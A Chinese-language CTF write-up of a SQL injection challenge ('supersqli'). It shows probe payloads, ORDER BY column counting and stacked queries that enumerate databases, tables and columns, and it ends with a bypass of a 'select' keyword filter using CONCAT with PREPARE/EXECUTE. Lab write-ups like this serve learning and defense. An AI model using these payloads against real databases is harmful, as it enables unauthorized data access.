sqli
1 and 1=1
1 and 1=2
正常且有回显 说明存在注入
1’ 报错 说明为字符型注入
1’# 正常且有回显 说明为单引号闭合
1’ order by 1# 正常且有回显
1’ order by 2# 正常且有回显
1’ order by 3# 报错
说明注入点在2,有两列
于是union查询
’ and 1=2 union select 1,2,database()#
触发了过滤原则 select被ban掉了
思路受阻
参考wp发现这个题考查了堆叠注入
于是查看所有的表名
1’;show databases;
得到六个库名
“ctftraining”
“information_schema”
“mysql”
“performance_schema”
“supersqli”
“test”
查看所有的表名
1’;show tables;
得到两个表名
“1919810931114514”
“words”
查看每张表里面所有的列名
1’;show columns from words;
正常且有回显,得到列名"id" “int(10)” “NO"没有想要的
1’;show columns from ‘1919810931114514’;
1’;show columns from1919810931114514
;
(注意这里的表名应该加上反引号"`",不然会没有回显)
正常且有回显,得到列名"flag”“NO”“varchar(100)”
关于反引号
1、mysql语句中 反引号 作用: 避免表名、字段名与mysql已存在的【保留字】冲突,引起不知名错误。
2、所以我们建表和字段时候,特别需要注意,尽量使用全拼/下划线 来设置字段和表名
3、连接不同数据库查询,一定不要加反引号,否则会被解析成 单个表
4、为了区分MYSQL的保留字与普通字符而引入的符号。
举个例子:SELECTselect
FROMtest
WHERE select=‘字段值’
在test表中,有个select字段,如果不用反引号,MYSQL将把select视为保留字而导致出错,所以,有MYSQL保留字作为字段的,必须加上反引号来区分。
引号一般用在字段的值,如果字段值是字符或字符串,则要加引号,如:select=‘字段值’
不加反引号建的表不能包含MYSQL保留字,否则出错
参考链接
mysql寒假要好好看看
除此之外,这道题还考查了select被ban掉之后的处理办法
预编译语句
预编译语句的流程
SET; # 用于设置变量名和值
PREPARE stmt_name FROM preparable_stmt; # 用于预备一个语句,并赋予名称,以后可以引用该语句
EXECUTE stmt_name; # 执行语句
{
DEALLOCATE | DROP} PREPARE stmt_name; # 用来释放掉预处理的语句
于是我们构造
-1'; #前面的语句不执行
set @sql=CONCAT('se','lect * from `1919810931114514`;'); #连接这两个字符串变量
prepare stmt from @sql;
execute stmt;